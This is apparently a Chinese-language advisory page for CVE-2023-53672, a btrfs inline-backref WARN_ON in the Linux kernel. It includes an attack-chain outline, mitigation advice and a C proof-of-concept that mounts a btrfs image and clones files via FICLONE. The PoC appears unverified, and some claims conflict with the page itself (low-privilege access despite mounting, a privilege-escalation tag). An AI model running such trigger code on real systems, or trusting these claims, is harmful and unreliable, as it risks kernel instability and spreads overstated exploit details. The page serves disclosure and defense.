IPBUF安全漏洞报告
English
CVE-2023-53672 CVSS 5.5 中危

CVE-2023-53672 Linux内核btrfs内联反向引用查找失败漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53672
漏洞类型
拒绝服务/内核断言失败
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (btrfs文件系统)

相关标签

Linux Kernelbtrfs文件系统拒绝服务内核漏洞WARN_ON本地提权内联反向引用extent treeCVE-2023-53672

漏洞概述

CVE-2023-53672是Linux内核btrfs文件系统中存在的一个中等严重性漏洞。该漏洞与btrfs文件系统在内联反向引用(inline backref)查找过程中发生的异常情况有关。当内核尝试在lookup_inline_extent_backref()函数中插入新的内联反向引用时,如果无法找到预期的内联反向引用,将会触发WARN_ON()警告。该漏洞由syzbot模糊测试工具发现并报告。虽然原始的复现器在本地环境中无法稳定触发该问题,但开发者确认该WARN_ON()仅在@insert参数为true(即正在插入一个新的内联反向引用)时才会被触发。根据CVSS 3.1评分向量分析,该漏洞的可用性影响为高(导致系统不稳定或崩溃),攻击者需要本地低权限访问即可触发,无需用户交互。该漏洞主要影响Linux系统的稳定性和可靠性,可能导致内核日志中产生大量警告信息,在极端情况下可能引发系统不稳定。

技术细节

从技术层面分析,该漏洞位于Linux内核btrfs文件系统的lookup_inline_extent_backref()函数中。btrfs文件系统采用写时复制(Copy-on-Write, CoW)机制,并使用反向引用(backreference)来跟踪文件数据块与文件系统树之间的关系。内联反向引用是一种将引用信息直接存储在extent tree叶子节点中的优化方式。当btrfs需要插入一个新的内联反向引用时,内核会调用lookup_inline_extent_backref()函数来查找是否已存在相应的内联反向引用。如果在插入操作(@insert=true)过程中未能找到预期的内联反向引用,内核将触发WARN_ON()宏,这是一个内核警告机制。WARN_ON()的触发本身不会直接导致系统崩溃,但会产生内核警告信息并可能影响系统性能。漏洞的根本原因在于btrfs文件系统在处理extent tree叶子节点时,可能存在逻辑错误或竞态条件,导致在应该存在内联反向引用的位置未能正确找到。修复方案是在WARN_ON()触发后,增加调试信息的输出,包括所有相关参数和extent tree叶子节点的内容,以便于后续的调试和问题定位。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要拥有目标Linux系统的本地低权限访问权限(PR:L),可以通过普通用户账户或利用其他漏洞获得本地shell。
STEP 2
步骤2:创建btrfs文件系统环境
攻击者在系统中创建一个btrfs文件系统映像并挂载,或者利用系统上已有的btrfs文件系统分区进行操作。
STEP 3
步骤3:触发内联反向引用操作
通过创建、修改、克隆(reflink)文件等文件系统操作,触发btrfs的extent tree操作,使得内核调用lookup_inline_extent_backref()函数。
STEP 4
步骤4:触发WARN_ON()断言
在内联反向引用查找过程中,由于逻辑错误或竞态条件,导致在@insert=true时未能找到预期的内联反向引用,触发WARN_ON()宏,产生内核警告。
STEP 5
步骤5:影响系统可用性
WARN_ON()的反复触发会产生大量内核日志信息,消耗系统资源,可能导致系统性能下降或不稳定,影响系统可用性(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53672 PoC - btrfs inline backref lookup failure trigger // This PoC demonstrates the vulnerability by triggering the WARN_ON() // in lookup_inline_extent_backref() through btrfs filesystem operations. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #define BTRFS_DEVICE "/tmp/btrfs_test.img" #define MOUNT_POINT "/tmp/btrfs_mnt" #define IMG_SIZE (512 * 1024 * 1024) // 512MB int main() { int fd, ret; // Step 1: Create a sparse file to use as btrfs device fd = open(BTRFS_DEVICE, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } // Truncate to create sparse file if (ftruncate(fd, IMG_SIZE) < 0) { perror("ftruncate"); close(fd); return 1; } close(fd); // Step 2: Create mount point mkdir(MOUNT_POINT, 0755); // Step 3: Format with btrfs printf("Formatting btrfs filesystem...\n"); ret = system("mkfs.btrfs -f " BTRFS_DEVICE); if (ret != 0) { fprintf(stderr, "Failed to format btrfs\n"); return 1; } // Step 4: Mount btrfs printf("Mounting btrfs...\n"); ret = mount(BTRFS_DEVICE, MOUNT_POINT, "btrfs", 0, NULL); if (ret != 0) { perror("mount"); return 1; } // Step 5: Create files and perform operations to trigger inline backref lookup printf("Creating test files...\n"); char path[256]; for (int i = 0; i < 100; i++) { snprintf(path, sizeof(path), "%s/testfile_%d", MOUNT_POINT, i); fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) continue; // Write small data to trigger inline extent creation const char *data = "test data for inline extent"; write(fd, data, strlen(data)); // Clone the file to trigger backref operations char clone_path[256]; snprintf(clone_path, sizeof(clone_path), "%s/clone_%d", MOUNT_POINT, i); // Use reflink/clone operations to trigger backref manipulation int src_fd = open(path, O_RDONLY); int dst_fd = open(clone_path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (src_fd >= 0 && dst_fd >= 0) { // ioctl with FICLONE to trigger reflink ioctl(dst_fd, _IOW(0x94, 9, int), src_fd); close(dst_fd); } if (src_fd >= 0) close(src_fd); close(fd); } // Step 6: Force sync to trigger extent tree operations printf("Syncing filesystem...\n"); sync(); // Step 7: Cleanup printf("Unmounting and cleaning up...\n"); umount(MOUNT_POINT); rmdir(MOUNT_POINT); unlink(BTRFS_DEVICE); printf("Done. Check dmesg for WARN_ON() output.\n"); return 0; }

影响范围

Linux Kernel < 28062cd6eda04035d8f6ded2001292ac8b496149
Linux Kernel < 376b41524b71e494514720bd6114325b0a2ed19c
Linux Kernel < 400e08a16604b534fdd82c5a288fa150d04f5f79
Linux Kernel < 6994f806c6d1ae8b59344d3700358547f3b3fe1d
Linux Kernel < 7afbfde45d665953b4d5a42a721e15bf0315d89b

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)限制普通用户对btrfs文件系统的操作权限,避免非特权用户进行reflink/克隆等可能触发漏洞的操作;2)监控系统日志,及时发现并响应WARN_ON()警告;3)如果系统上存在重要的btrfs数据,考虑将数据迁移到其他文件系统(如ext4、XFS)以降低风险;4)通过内核参数调整文件系统行为,减少触发条件;5)关注Linux内核安全公告,及时应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表